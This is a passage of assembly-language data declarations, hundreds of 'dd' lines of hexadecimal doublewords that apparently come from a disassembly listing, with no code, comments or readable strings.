		dd 6D74F111h, 2DDB800h,	76802401h, 1459DE56h, 0E045F800h
		dd 0F4FB3CDh, 0C57DFC8Eh, 0DC2F80E0h, 0C64BADB8h, 0EE03088Bh
		dd 0BAF79991h, 154566D0h, 336D2B09h, 0CA2CF60Dh, 5B00D63Ch
		dd 21D84627h, 4B8D1132h, 0C4E202h, 54D3342Bh, 7C2FA8h
		dd 0A1ED5F4h, 0ACC136FCh, 4514A502h, 20AA038Bh,	0A846BF63h
		dd 0C00B8AFEh, 59399087h, 0DF830068h, 6442032h,	10049500h
		dd 0DB5F0E22h, 64D325FAh, 0A1C01C4Dh, 2D18915h,	772B56D8h
		dd 3A7D3C78h, 0ADC60CCh, 0B04C9F42h, 0FBD38FCh,	0FF32E0DCh
		dd 4A64A34Bh, 7B6490C0h, 0FE4B6506h, 520198E2h,	9227C756h
		dd 0A6C94093h, 0FD09BCCFh, 0F49C55A2h, 48732F7Ch, 52922D8h
		dd 8F2BAD71h, 7FD0A591h, 98CE7CDAh, 0A16821E0h,	6512408Ah
		dd 64B3B3FBh, 3CD86405h, 0D028D7D3h, 0C618F7E4h, 0CF0BACB9h
		dd 11B81F63h, 0EDDB80F2h, 3D17EE56h, 7593C42Bh,	9394E9F1h
		dd 30AC3CB8h, 0F121278Ch, 0EF4828C4h, 39D4003Fh, 0AEC67E8Dh
		dd 0BE600035h, 7AE9FC2Bh, 0DA16A12Ah, 54F0E278h, 0CCD727DCh
		dd 9A77E0C2h, 832D6074h, 1DDC060Fh, 61E18986h, 0ECBB7500h
		dd 0FE872C0Bh, 8549021h, 0A6D5A1ABh, 1374674h, 0B7B2D04Dh
		dd 5ECC8589h, 35A43CADh, 0BC8A5625h, 0A8D2604Ch, 0AB4A8B69h
		dd 880F09Bh, 0BAD37A89h, 0C802EF06h, 79F9B55Ch,	70656B36h
		dd 0B0840437h, 48BCADD3h, 90045C2Dh, 0A44CAC01h, 7F8090B8h
		dd 0A45167C3h, 7EAF6600h, 0BDBF9D32h, 0A31C0422h, 0C2EC8A41h
		dd 18DA9794h, 1668E19Fh, 0DB3B0875h, 0E3A980D4h, 5AAF52E7h
		dd 0FE74245Ah, 0A5216020h, 0E8180425h, 0B3C2449h, 0AB70823Ah
		dd 0EF29045Bh, 0B4B2FC6Bh, 5B2B4230h, 53CF0B2h,	20CB0C4Ah
		dd 9495E622h, 0F03A5808h, 1C8C50FCh, 1A9F367h, 86B50D95h
		dd 0BDCC42E4h, 112A0D4h, 2A0020B3h, 0B03AB25Fh,	0A8DC0851h
		dd 0A4396501h, 0C4788B2Dh, 45C8C47Fh, 28A3120Dh, 0F37D5862h
		dd 42E06702h, 0A0E86028h, 77873C9Ch, 0E8F0B105h, 3398F5C8h
		dd 7498247Ch, 0E9A99000h, 668C25h, 0F3B5BF9Fh, 21C535Dh
		dd 44D14D1Fh, 30B06F92h, 815CA8D8h, 18BB275Bh, 64AB4879h
		dd 24713778h, 3DB8B1B4h, 0C5122E20h, 28B1EED0h,	12325AC0h
		dd 9296AB92h, 0E0609B78h, 3CAD660Bh, 81BE44E0h,	7DA8B07Eh
		dd 0A1C380B8h, 0E7DA6425h, 60BD643Ch, 90460BD6h, 1C4F01Dh
		dd 326C28Fh, 64D45CD8h,	2B21353Ch, 18F6F156h, 0E51A28C9h
		dd 87B028Eh, 24872103h,	48BF68DAh, 7360BCB8h, 200A0240h
		dd 0A4DDBE11h, 0F3113897h, 52FE798Eh, 0B2520306h, 63DA3544h
		dd 2BB89077h, 0B864B5B4h, 9055B900h, 8F29B58Ah,	0B460BF44h
		dd 2504A895h, 0A7EF39BFh, 0FF0233Ah, 0BF29E1B9h, 45931C59h
		dd 2077808h, 4D3876C9h,	0E29F6072h, 8730F9D4h, 0C5C7F194h
		dd 899CC2F3h, 0AF2578F8h, 0D0CCA263h, 417CD67Bh, 6056C4D5h
		dd 0C3027810h, 0E9C6A743h, 50107DFBh, 67002E6Ch, 0EC9AEEAAh
		dd 0FD715F7h, 0B0D05C8Fh, 7C9D5042h, 1B059874h,	6EEE6FB2h
		dd 8DD70144h, 53336C59h, 259729D8h, 0BCCE22B0h,	4625F0DEh
		dd 5E80B0E0h, 7CD8B154h, 29FCA2E0h, 0B6E43845h,	0D6F46460h
		dd 40F3C52Ch, 8A0C3B11h, 8229B503h, 3775BA07h, 316050B9h
		dd 0CE414Fh, 16AA6013h,	7810AD9h, 0B88B53h, 15C7FA7Dh
		dd 9DA14FDh, 0A14A37E2h, 9420DCD1h, 3F1374B0h, 84E814C6h
		dd 0E5D83DC1h, 4DD509F0h
		dd 896B9A00h, 0FE9B30A0h, 35DD1600h, 4EF6AFBEh,	9D7C4B96h
		dd 108A3B14h, 2EC051C8h, 0DF7E9Ch, 6EF6BC3Fh, 0B1D0648Ch
		dd 0F8BEE89Ah, 0E460C56Bh, 7FE76052h, 0F1DC3DF2h, 3D97DA00h
		dd 0E961D8BEh, 0E8A2F0C7h, 59EB8987h, 1835D920h, 0D7580259h
		dd 0D64BACFBh, 7000C455h, 0CA8E008Fh, 0AA7FBF0Fh, 0A400FDF6h
		dd 0E10C5678h, 0BF40C064h, 3111381Fh, 4B049180h, 2425D7E3h
		dd 981464B8h, 0DB612D6Ch, 281A48A0h, 0E59DA146h, 8B725F4h
		dd 0E86F3900h, 6D314DBh, 0FCD80D25h, 1E1658A6h,	0C480D73Dh
		dd 0C20FBAC2h, 0F5D8C638h, 2B12B4F0h, 0C4B2A59Bh, 6C3052E2h
		dd 84270079h, 7BDA4A48h, 7C2DC067h, 64E4C7B3h, 0A2AE6038h
		dd 30521F0Bh, 0E017C163h, 7E7729CBh, 66E19982h,	0C8DA00CCh
		dd 31136AB1h, 0D601A12Ah, 0A4CB27B6h, 3C6C2F25h, 3FC6E97h
		dd 3F32B8A7h, 0E326D8AEh, 2F10B83Dh, 60D9927Dh,	3B19F5D9h
		dd 12FC0E0h, 0B1FF2256h, 0FDEFDB6Ch, 427FD3h, 54F0E7A6h
		dd 0F34674D0h, 9CB48500h, 8380184h, 918408B7h, 2E59009h
		dd 7D8F2D98h, 9CCE9482h, 401060F6h, 5E6C6B10h, 3CECC8h
		dd 0C546DEF0h, 2AE49A93h, 5C2649h, 0CB3985DFh, 4D22B81h
		dd 7A537B8Bh, 6B7CB19Ch, 0CC1E486Eh, 0F4172DA5h, 8380BA91h
		dd 3B2346A4h, 0BC2F63Eh, 0FEF781B0h, 3E38F41Ch,	0BD8D8F93h
		dd 22F2C5EEh, 23E46BEFh, 0B14B034Fh, 0CC017D2h,	5E12A17Bh
		dd 54F44424h, 1F84079h,	3948C330h, 28A3BCh, 668969C8h
		dd 97ADC24Eh, 65E64125h, 0D2321080h, 2AA074E6h,	0C7015EB1h
		dd 497A6EC2h, 423B318h,	5209CF07h, 1E0602Eh, 0A005DBCh
		dd 260E9507h, 953D43FBh, 3591A417h, 0D28D9F80h,	6A04D132h
		dd 0F9C52A9Ah, 0D63FACACh, 5A0504B9h, 0EF3990AFh, 0EF23B86Bh
		dd 0FB348300h, 10D85F2Ah, 0E1AF7F24h, 26094CF1h, 0EA78B0C0h
		dd 17D60069h, 0C6404B28h, 92710115h, 5783F309h,	2BC7A24h
		dd 0CFBB3DD0h, 0C9801A27h, 30630E96h, 4F7F4A00h, 0B4B0748Fh
		dd 34039F39h, 0ECCCD7B2h, 8C50E8F8h, 84730A13h,	4504A004h
		dd 17B8A07h, 0C81F1199h, 0F0F09C4Ah, 4C1E2B75h,	0A95831FAh
		dd 5B011BA9h, 6404023Bh, 54C8CCF8h, 0F5C9F7Fh, 60AC9790h
		dd 0C5BD0320h, 189527E8h, 4F803791h, 0C4EB5A3Ch, 2CAD2F02h
		dd 56222ADCh, 0D00A8224h, 0DC0BC180h, 0C059E9F4h, 0AA18F559h
		dd 1D47950Fh, 0EC33E296h, 5884F793h, 202A05D4h,	0F1E82800h
		dd 0B1D90AF9h, 1856D194h, 0F8C398C5h, 7E1509C8h, 402A2CEh
		dd 8E4F471h, 0A83D02E4h, 0B43890D8h, 0DAB10409h, 491E28DAh
		dd 902F5047h, 0FAC875D4h, 0CC570026h, 0C569EECAh, 5673ECF7h
		dd 73D2ED25h, 0BD848874h, 63110105h, 786910C6h,	0FA4004FFh
		dd 0B8167404h, 7CAD2220h, 1A35003Fh, 2BE3F0E9h,	49FCC97h
		dd 0D0B5F48Ch, 0C612F82Ch, 31CE0DCh, 1F20A749h,	251416EAh
		dd 0B85E09D0h, 0FB2041A9h, 2B1C807Eh, 0FCBE66B3h, 48D408h
		dd 0A920ECC5h, 4CB404B4h, 0C6B92B81h, 7C3C85A0h, 0E08F2904h
		dd 0DBBD054Dh, 140050A8h, 3E3B9A24h, 7EE9273Dh,	8AE9088Ch
		dd 0CB986482h, 0A7010402h, 13C0F6B0h, 2F672B7Ah, 34724EDCh
		dd 0BF8FD10h, 2A3CBB02h, 8C932124h, 5FB07017h, 0F90064E9h
		dd 0A8E78DD2h, 7B20459Eh, 4AD73C6Eh, 1238F35Eh,	24BAA413h
		dd 6020AF14h, 5BBA9Eh, 0EBE58CCDh, 1917C09Ah, 1082C600h
		dd 99EE7B3Eh, 589801F1h, 9A068D20h, 4C603204h, 46AA13ECh
		dd 5DD8A0C0h, 86382F6h,	0EFFDB8C0h, 90952496h, 0C0F64AE0h
		dd 1014EBE0h, 0E71A5301h, 42D4591Fh, 0C8B88E7Bh, 5960CFF6h
		dd 6DF15088h, 34B1F701h, 0A0222435h, 9EA4D980h,	8EDAC625h
		dd 8C85BE4Bh, 2E86BFAh,	0D86ED5F0h, 7C2CD03Dh, 0D06D245Fh
		dd 17FB027Ah, 0F9DA5Bh,	0EB18EFF1h, 9BBBB600h, 4EE8D56Fh
		dd 38409562h, 34B65D70h, 0AEFACE00h, 965C4FFFh,	34465E68h
		dd 0C61E8800h, 299371CEh, 70FC672Fh, 0A3492588h, 97415C74h
		dd 4703483Ch, 0A51241E6h, 0BCA8657Ch, 0A08CA75Bh, 2848B470h
		dd 4BA4C68Eh, 4AB08BEAh, 57C800CAh, 0B33B10C0h,	0A582079Fh
		dd 692A8BFCh, 577AAC71h, 34406C6Dh, 1F3CA2Fh, 2638990Ch
		dd 0FC43F718h, 0B5FF205h, 67C828A2h, 91C8956Bh,	0EE7080F1h
		dd 0E299D2CDh, 3AE12E4h, 27A4F21Dh, 0D2CA004h, 33EA5Bh
		dd 9DA4AE2h, 0D60A18FCh, 825C6338h, 7C146F73h, 0D01A5570h
		dd 0DC00D6h, 5113F635h,	821A7F12h, 94A6445Fh, 8E3B04B0h
		dd 99947012h, 0CA10CACh, 0CCDE6EA5h, 88F58D80h,	0B82FC4B1h
		dd 2B30012Dh, 97ECC77h,	8C73BDBCh, 39A4EF88h, 0B19F2593h
		dd 1C8A2AC0h, 581FC610h, 0A3D1058h, 0BD444B70h,	3BFBACA4h
		dd 0E600B1E3h, 2AA1FCB3h, 25E69BD7h, 0F98518B9h, 6C822BE9h
		dd 819B0035h, 5997B32Ch, 184E79A0h, 0D479976Ah,	0E038DC07h
		dd 66331590h, 2C535805h, 0DE62C976h, 0F5C0F8EDh, 2DA7FEADh
		dd 78103964h, 4050A8C9h, 0C8002BFFh, 0FA379B9Dh, 3FEB00Ah
		dd 0C15373BFh, 812F1D3Fh, 20DCD276h, 66BDDA9Dh,	0D0C33EBCh
		dd 0FC4C005Dh, 6DA06E0Bh, 894E7CD0h, 0D29BFCD0h, 91301615h
		dd 63A8078Bh, 7729103Fh, 7C913D70h, 94B48916h, 45B40F5Ch
		dd 75631C41h, 5DA81D0Fh, 0EA000C40h, 0AADB36DEh, 7C422D51h
		dd 0A5901D5Ah, 0A4EA24h, 4CDCB9EBh, 6F0C8F47h, 873D533Eh
		dd 142A32B4h, 5B6577E1h, 9B808082h, 37554F69h, 5BF20084h
		dd 0EE36A16Eh, 0B7786E95h, 8F40E06Dh, 1FD74558h, 1EFC66B2h
		dd 90AF4288h, 32F7A416h, 0C494656Ch, 0D6BE60F5h, 1572009Dh
		dd 0F78CC536h, 182ED864h, 0EA8898D2h, 70C425DBh, 8E2FA200h
		dd 101F438Ah, 12BB76BDh, 0E5658731h, 0B23833C8h, 0F4813031h
		dd 3B5BDC79h, 34B66CD4h, 0F3FC7DE0h, 6240AE00h,	1AF9E914h
		dd 918F2F2Ch, 4EC460C7h, 0B0F06663h, 509AF9A9h,	3DEC9713h
		dd 0E654E897h, 24C92100h, 0C3FE28E9h, 5C9188EEh, 391E9503h
		dd 67858880h, 111589Bh,	1293209h, 0CF43140Eh, 0B00103B3h
		dd 0C064FFF6h, 0F32FC910h, 302FB2A4h, 7F03A6C3h, 0F01F8163h
		dd 221DC2E8h, 89DF84D2h, 6CB40218h, 95C4F243h, 0C0D60C6Ah
		dd 600601DCh, 2DA17C47h, 0B4A23AC8h, 0C9628300h, 0A5B9DEA3h
		dd 0F513D02h, 0F612A409h, 26594034h, 2000C5DCh,	88CB3E8Fh
		dd 5B8B1Dh, 0F43A0722h,	0A5039A38h, 0DD9F71C3h,	3253A059h
		dd 9B689C8Bh, 0AFE1719Bh, 28202A0Ah, 185F4CDh, 34784073h
		dd 0A52B7C93h, 1C44F9C1h, 58188095h, 6C8D210Dh,	57EF2701h
		dd 0A678CD67h, 110C4FAh, 0F76D8B39h, 504C4A34h,	0DDE32020h
		dd 9B004F7Eh, 0EC96460Dh, 0FD658675h, 3A63F8D0h, 0E94A7C25h
		dd 1E9BB820h, 4FE031DAh, 0C477C8D2h, 0E8DBBF98h, 0FD6AD4C0h
		dd 8400963Bh, 0E6C44089h, 801B4BC1h, 12003AF6h,	2EAD1705h
		dd 77A8927h, 46E63B2Ch,	0D0645177h, 0A4D12FD1h,	78DAC629h
		dd 7974B9E4h, 1581836h,	0C8A6A4E3h, 0F254C0BEh,	54490876h
		dd 4FDE40BCh, 0B61C0F88h, 0CEBD14B1h, 5423CC2Fh, 9F85C800h
		dd 0E075D591h, 0B0A57522h, 0BB060247h, 0C0A1390Ah, 0A04F24E6h
		dd 7480C09Eh, 5EA1A311h, 951C9A20h, 8076D0B1h, 0BFDEBB99h
		dd 4A2ECFFCh, 0FC68AC89h, 55908CF5h, 52B05C01h,	0E692FD7Ah
		dd 0BE58F02Eh, 2535A480h, 9CE7578Fh, 0DCEDB77Ch, 81AAB944h
		dd 1B38CF0h, 0A448262Ah, 4A2E0259h, 4E3476CBh, 88906555h
		dd 56A5EDBFh, 7097DCC0h
		dd 9B84017Ch, 305025BEh, 0E0202A6Eh, 77FA313h, 37F2F4A8h
		dd 2A9AF1B7h, 82DC3C24h, 57CA20F0h, 0DEEC041Ch,	255F2980h
		dd 0A06E3760h, 30B22A10h, 0FA698B12h, 0B7021C7Ah, 2C15F9E8h
		dd 0DEFCB255h, 5402D420h, 84D81D41h, 86457ABh, 0F2A98B00h
		dd 2C1288B0h, 58C00062h, 0DAA6E28Eh, 0A04E1C3Ah, 0C1807CDBh
		dd 8F9BCB43h, 0D86C5E09h, 3654A209h, 803076C3h,	0DC6AB9Fh
		dd 4097B547h, 7A06B154h, 0C9304A95h, 30B62AA4h,	65B7CAF0h
		dd 59D31A25h, 18D0A7F4h, 4EF13640h, 7A808453h, 0B7300034h
		dd 0D7DACE0Bh, 0FC09957Ch, 0F6A5287Bh, 0A30ED43Ch, 0E0240767h
		dd 2B2A30D1h, 0A63A5FEBh, 0EAA3010Ch, 0F5686AE5h, 9419830h
		dd 0C426B710h, 79273CD3h, 1CB9599Ch, 0D10601B5h, 0D802EB56h
		dd 7BC43438h, 0BC3FF301h, 9A357CF5h, 179306E0h,	0B1011633h
		dd 0A799E070h, 0CCC235Bh, 69D821C5h, 20A1D213h,	93C89B3Bh
		dd 4581FCECh, 3029B9A7h, 0BA40C830h, 0EE8B049Ch, 0E8FD7B31h
		dd 4BD4B28h, 83838B8h, 6CCE0BFBh, 0D4FCF467h, 2A0E3446h
		dd 0C3E069C6h, 1D65F91h, 6313B506h, 929D3C1h, 0DC96A972h
		dd 952DC478h, 11881D85h, 0C6C981EEh, 8A7FDA4Ah,	0C48A4A14h
		dd 0C1C036C8h, 113F11Eh, 2905412Eh, 7455D8C4h, 9678C908h
		dd 5ED06297h, 8A886780h, 5DF840D8h, 0A9042E84h,	0D8772B67h
		dd 991280FCh, 65F830B1h, 2D13A414h, 0CE75C77h, 583DA61Eh
		dd 0B8D01951h, 0C43BCD4Ah, 0BC013423h, 295AEA48h, 0B4328AC1h
		dd 0C2DB5600h, 0BCF128A2h, 0A3813600h, 105C4F66h, 23AE6D9h
		dd 9723E780h, 50D14344h, 0F4FC6A10h, 3D7B008Ch,	695C9634h
		dd 60942494h, 1480EB47h, 0FCF575CDh, 48A3016Eh,	7CD9E051h
		dd 20906A03h, 0FEB24F88h, 2E9E0E33h, 97C2B3A3h,	68FE85C5h
		dd 0F6700738h, 44805CBBh, 0FE2BF06Bh, 0AB00017h, 459FFCFAh
		dd 0F82F7562h, 0ACB76Fh, 0C2598ADFh, 0AB72134Ch, 0CB4A203Fh
		dd 5B060C40h, 9102681Eh, 24FC4944h, 867801D4h, 2B323F7Eh
		dd 3D7CD5A9h, 1AF187F8h, 3DD4D149h, 2DB0D609h, 71703A55h
		dd 18B75920h, 7D981742h, 0C074EC58h, 24103364h,	2AFC3597h
		dd 2F50E070h, 0B7BF0892h, 0FE5200F0h, 941ABC2Ch, 0A377F701h
		dd 49D04480h, 986C913Ah, 0FF2C6035h, 0D8895861h, 3864AC10h
		dd 4E7F203Dh, 0AF889F62h, 4A14C467h, 83C4E849h,	0CC685EC9h
		dd 0B1A0AC12h, 493A5EAFh, 10558D34h, 8B8A80h, 0CAB3BF53h
		dd 1A262563h, 806F6B3Bh, 0FF69BDD7h, 0D70D65C2h, 0E070F638h
		dd 0E091B06Bh, 20C35A99h, 1365A884h, 2EE31E00h,	0EE386A5Fh
		dd 91350BD5h, 46013F0Bh, 0CFFF689Ch, 6EDCC6D1h,	6700006Eh
		dd 19238510h, 0BB4AE951h, 7E7BF492h, 3E211148h,	891C788Ah
		dd 73A55B38h, 0FE8C30FCh, 8B4E8CABh, 126B10F0h,	0B8F27DD8h
		dd 788AD338h, 26C04FC8h, 2E5DA699h, 49286EABh, 0E140E47Eh
		dd 5C823h, 0BB907144h, 59CC3DEFh, 0C47D1105h, 0BC9051A8h
		dd 16C066FFh, 8EAF5DB7h, 0C038880Ch, 0C2EFF69Ah, 16431C3Dh
		dd 0A4072F19h, 5A59C467h, 0FCA50908h, 147020D7h, 2CB26B5Ah
		dd 7D67A710h, 14E14460h, 34B4E55h, 0FAB4E9EEh, 28204CF4h
		dd 6CD0973Ch, 96CEF718h, 25F802B0h, 0A873CF24h,	54FE5A80h
		dd 95873ECAh, 32F880C6h, 750F16F6h, 4721A8Bh, 0E4C35802h
		dd 3B09EC50h, 9C742489h, 0B0F86482h, 0A230C9B6h, 0F4BCD828h
		dd 600F008Ch, 0C633F64Eh, 9905890Bh, 0AFE0D80Dh, 97775CFDh
		dd 0F63FEC00h, 0C0E42503h, 4BE4A849h, 6A3FB89Dh, 2BF116E8h
		dd 90E7D600h, 271CC558h, 94799B9Eh, 0DB187E00h,	0ACF6739h
		dd 0E335A458h, 2489BFB8h, 0D079AE0Ah, 125DC162h, 40A46D77h
		dd 5BB015DEh, 5CED3D44h, 0F8100895h, 27221848h,	0D06D31h
		dd 887F83AFh, 740DC98Bh, 0A4177CFCh, 440075Dh, 17A0C834h
		dd 5EEC9896h, 9F604088h, 56E5CEB1h, 21763300h, 4A84DDBDh
		dd 2ACB1407h, 0C186D429h, 74008949h, 0F3ABF166h, 9799E8h
		dd 30AF4C85h, 5EB00E33h, 95B4A097h, 4B42536Bh, 0E0BCF6CBh
		dd 1E9187AFh, 872962CDh, 51BBCF7Fh, 6A37E477h, 0FC59F0CAh
		dd 4AEE44BCh, 319ED20Bh, 0B9F84824h, 0BEC4000Dh, 928DDEA5h
		dd 553C84E2h, 3DFB1FF4h, 7629405Ah, 0B5467400h,	0BCAB0612h
		dd 18F6D308h, 6B0B9EE0h, 0A4C4FE14h, 0B4884B91h, 799726F5h
		dd 0B2760088h, 0A3E7058h, 0B8B61D03h, 1E81E137h, 0C67C952Ah
		dd 392A24D9h, 0F300237Dh, 2F791FCh, 1997D92h, 137380BEh
		dd 62A749E8h, 6F290488h, 0E0E44150h, 0C082EA5h,	0E80EF418h
		dd 625589A4h, 0F5E0B25h, 0F868C24Bh, 3AE99BA6h,	10D43432h
		dd 30B265Bh, 0F13B8A83h, 0D1803BA0h, 42A1DC6Ah,	6D0FD6FCh
		dd 0C0199EC4h, 2B8B21BDh, 1C383197h, 888C1EC0h,	46A010h
		dd 5CAF7C76h, 4BA1C3Ch,	0D8F49D58h, 2C5F2ADEh, 4170F5B8h
		dd 68A75D1Eh, 0FC64064Ch, 31A904h, 0EBD0491Ch, 76C42F1h
		dd 3FC26201h, 9638F06Bh, 78D4E13Bh, 858480F0h, 1E80AD63h
		dd 8ED879B3h, 10C0DDD4h, 55D1DC40h, 305990Bh, 0C0FD01A6h
		dd 8852BD74h, 5FCC90A7h, 0EC79E908h, 0FB0A1912h, 0FCAC3C52h
		dd 0AC635716h, 0A0C296FCh, 0D0C3004Eh, 66B5E0C5h, 0C1D745FCh
		dd 0F44E3EC2h, 930420D2h, 0B49FFE8h, 7A0B6321h,	2B2A1F02h
		dd 388E4C5Eh, 0CA78209Bh, 6069B0C4h, 3B0158E2h,	0F1D86F24h
		dd 0B960B390h, 0E2A81DCCh, 6140FFF8h, 6506015Ah, 9E722749h
		dd 8CE02A81h, 34C08AD3h, 0C570C0BEh, 0C39EE8C4h, 0AD54C8h
		dd 4F6F5B44h, 29B8E2E1h, 0CFA4B607h, 856FFBA2h,	68974BB4h
		dd 8CF14DE5h, 403C083Bh, 37FB2312h, 0F70646Ch, 719F8C2h
		dd 0B863120Ch, 52E01D79h, 3075FB13h, 0AD8068DAh, 0F29D550Bh
		dd 0F8EB3603h, 0FAC4D347h, 5948E8D5h, 0B8434F7Ch, 8CF1EC00h
		dd 0B9B24103h, 0C95D016Dh, 9A2F0B17h, 0B965C040h, 348833Eh
		dd 2AEB742Bh, 692DF72Fh, 0E8CCE8C1h, 4D0907EEh,	0E28A0A84h
		dd 4C0CBA5h, 2912357Eh,	18726CD3h, 0D7ACC037h, 0D4C5954Eh
		dd 0B43525h, 25804F3Ch,	0B7B88572h, 0D8C6BF0Bh,	5A684105h
		dd 0D49D79A7h, 0DC83F011h, 2B8A544Fh, 0E744F456h, 4AE1A4E8h
		dd 160C72A7h, 68DA4498h, 0E88D18C0h, 0D35E3DA6h, 0C2E65CC1h
		dd 136DF192h, 0F3248442h, 0ACCB4A20h, 24C24EC8h, 78645FC6h
		dd 7048D395h, 0F105E497h, 1DA7EFFBh, 47AC8Ch, 8A69AB8Dh
		dd 9CF34077h, 49D1EC00h, 1FCE5B20h, 62B52EDEh, 0E8A71270h
		dd 0FC32ED58h, 4D30F3E2h, 9C550065h, 4ED6C6FEh,	6D5B573Dh
		dd 0AF13D8A2h, 2830BF68h, 2FF86599h, 6C21BBC0h,	8EC569Fh
		dd 9D28900Fh, 36782073h, 0C4CF098Dh, 0CCDE4DD8h, 0A6CC6F89h
		dd 9089F2CCh, 0DF3D1098h, 90622D63h, 312DA830h,	0D51887E4h
		dd 3E99F546h, 0BB9F1C02h, 90B557A5h, 0FD097380h, 9DC7FF9h
		dd 3364A101h, 3FF89B7Dh, 0B2CBA6F9h, 83122874h,	1104E595h
		dd 779B0929h, 0F43875C8h, 0A269E3C0h, 8C37DF20h, 82812C00h
		dd 0C02523DBh, 0BB67E519h, 2F077159h, 8F28B3ADh, 68E830B4h
		dd 71A14A18h, 0D34A2A1Bh, 0D823CCF1h, 4130EDA2h, 0ECC00B99h
		dd 0A006FA21h, 0A497D91Dh, 792D752Ch, 558B844h,	7B5D21FAh
		dd 0C435AE0Eh, 31155801h, 57C8CB2Ah, 44A548D4h,	0C28CB8ECh
		dd 50E84A16h, 4D286C60h, 3D24980h, 4580429Bh, 0CDB0035Eh
		dd 80FFC36Dh, 2701B9A1h, 718F3EEh, 0ADDFEA44h, 4C51E07Dh
		dd 0C716FE43h, 0C50001AFh
		dd 0DC035A3Fh, 9409B744h, 0CE621456h, 440C5CC4h, 808EFF6h
		dd 57613B5h, 913368E1h,	5A177CCh, 0DFB8D8BDh, 87775700h
		dd 2921283Dh, 3A7C7DFAh, 0AA72AABh, 1C170446h, 0E4E4733Dh
		dd 0B99420F8h, 16C0C695h, 0B088F7DCh, 0BC09D6C0h, 5E2E74D5h
		dd 4E96AACh, 0AF3CD2DFh, 0BC3F8C30h, 786D0A0Ah,	128821C4h
		dd 5A88BC15h, 0EE8810CFh, 0C4636AC7h, 0F062E061h, 9892EDF8h
		dd 7C00FAB1h, 6BE998A6h, 0DF5B1681h, 3C64C0FDh,	0DD4D61B8h
		dd 8D8F1818h, 84A2B9h, 7B6BF459h, 6ABB545Fh, 0FC3AE825h
		dd 0F56F0284h, 44E7D120h, 5160F644h, 947E79A3h,	0B1123902h
		dd 409B3FEDh, 98247726h, 30971080h, 66B57C26h, 46C12C8Ch
		dd 2F7D4058h, 0BF00C409h, 63AA7352h, 95D86577h,	307A44E8h
		dd 6B8C2A03h, 0B29629F2h, 81A7DD1h, 0CB388000h,	2E0F8F9Ch
		dd 9302838Eh, 0F64A78B2h, 0D8ECE320h, 6939906h,	4476ABA9h
		dd 0F51DC82Ch, 85CE10B5h, 0F9E9017Ch, 3D2E01EAh, 446A3ED8h
		dd 9F599209h, 64949677h, 0FF6B2933h, 13BC082h, 4C70499h
		dd 0F1E84881h, 16DCFFCCh, 40A90CD7h, 4BE5D0C0h,	0EA5AE41Bh
		dd 678880B2h, 0B58B1058h, 1D57062h, 3FBDA90h, 2CDD09D1h
		dd 0E89EBC30h, 0BE312DA3h, 0BC068059h, 3428FC29h, 6209F01h
		dd 49633118h, 4B1F6A3Ah, 0AC20E88Dh, 0A6A55B9Ah, 8460B728h
		dd 0B0EB26F8h, 0E99E14F0h, 92B8C7h, 0F9C6D3A4h,	37E08F29h
		dd 43B41C97h, 0B85C4CDBh, 87258C30h, 4548D10Dh,	9013FB70h
		dd 9CA4DBh, 0CA95ECB6h,	0D902E07Dh, 0F7225B06h,	8428F96Bh
		dd 0AF39956Ch, 67AF7831h, 8C123469h, 1FF0B376h,	0D89D8C3h
		dd 0C9705E0Ch, 0DC50D4h, 997B2AD3h, 89D0643Bh, 0E93659C4h
		dd 0D65C20FAh, 7D347C18h, 2000601Dh, 395A8A15h,	0BB483993h
		dd 0EA80B53Ah, 1A4AE547h, 0D7252E12h, 0C06EF0E7h, 0F15CBE49h
		dd 95E06D31h, 0E5578D09h, 39DC60F9h, 74B15896h,	124E6158h
		dd 0EC6AEF64h, 4901B523h, 0C0D0D8D5h, 0AA94C52Fh, 0C9985C37h
		dd 0B979B051h, 8E7F7C18h, 0BCA90E12h, 0BB2813FAh, 3123443Eh
		dd 6D231100h, 0F6BC40h,	13C5F262h, 3B488ECAh, 69A8799Dh
		dd 5A50647Bh, 0C0030B61h, 5056A09Ch, 79B8F14Bh,	1AC1855h
		dd 844D19E7h, 0E40D3110h, 0A29DF4D8h, 97F9F00Ch, 8156112Ch
		dd 0EA5E3D2Dh, 12E79CE4h, 0BD30C68Ah, 2C9AD694h, 60F8BA87h
		dd 0C403C6DAh, 0C8BDA14Eh, 0B8A0ED4Bh, 0F9B600B9h, 0E20A64AEh
		dd 0EC0A8C8Bh, 0E81CC1E8h, 0DA0B1084h, 6F9D481h, 5A04BC04h
		dd 74B078E7h, 5700B383h, 84C8F43Eh, 17A41A65h, 0EC4F1F5Dh
		dd 0C48BB574h, 37C23088h, 2328C277h, 0CF16179Ch, 0B5F31380h
		dd 1EF57B4Fh, 56B69945h, 0C8030E4Eh, 3E767119h,	1981AC20h
		dd 91E5009Fh, 2A7C6551h, 7927D8C4h, 57F0CADFh, 541D580Bh
		dd 0B482EF11h, 1A5D8B32h, 0E482D560h, 0F409F281h, 9F684118h
		dd 665220ECh, 6F2F7C76h, 7CD40BD8h, 4C05DC78h, 8C7E4919h
		dd 260010B2h, 0E61A1EE5h, 8F00A775h, 0B373456Ch, 26D7A47Eh
		dd 46DB2EFh, 0BAD1C4F0h, 8AD73838h, 0FA4260D6h,	547F4038h
		dd 20A85B4Ah, 36E867F0h, 5ACE8A80h, 0FB88785h, 9F30A8F7h
		dd 2DDE26C5h, 80F7A780h, 0C65A01E5h, 0AF5D1CC4h, 3A78894Ah
		dd 0BC387D9Ch, 41463BF2h, 0E0972B05h, 646FBA1Bh, 5A16B423h
		dd 20CCDC06h, 0A9B02D51h, 0B9231084h, 6973C840h, 10835DFh
		dd 6790F6EBh, 0DAE8E3C7h, 6E2DAD2Dh, 4EC5626h, 0FB035D46h
		dd 0D4B9AC12h, 0E06AAFD6h, 13612F00h, 8F8E0296h, 0C480CD27h
		dd 0F3330348h, 85622736h, 7A15AEE8h, 6717EA10h,	0B878A94Fh
		dd 0F2CA08BCh, 0EB8042C2h, 0B937C07Bh, 38BD12B3h, 9284E202h
		dd 96B860ADh, 5D01102h,	0FDBB7865h, 6A57E090h, 0B8B6A203h
		dd 0D0B367B7h, 2C2BDC89h, 8005424h, 400CC94h, 1A3ACD39h
		dd 0DEB10122h, 0C5EB4A8Fh, 0F0B466DCh, 0F4F6Fh,	99392CF6h
		dd 15695179h, 1A0C805h,	6FBB0BEDh, 660071B0h, 0B3223431h
		dd 0B6C1F223h, 12F1020h, 1F8FDA8Ah, 902B82AEh, 36352B2Ch
		dd 0B7705269h, 0B041809Ch, 0A11F7307h, 65471904h, 70B234D8h
		dd 8088E84Eh, 28463753h, 988FE3Dh, 0C9D8C667h, 2D026054h
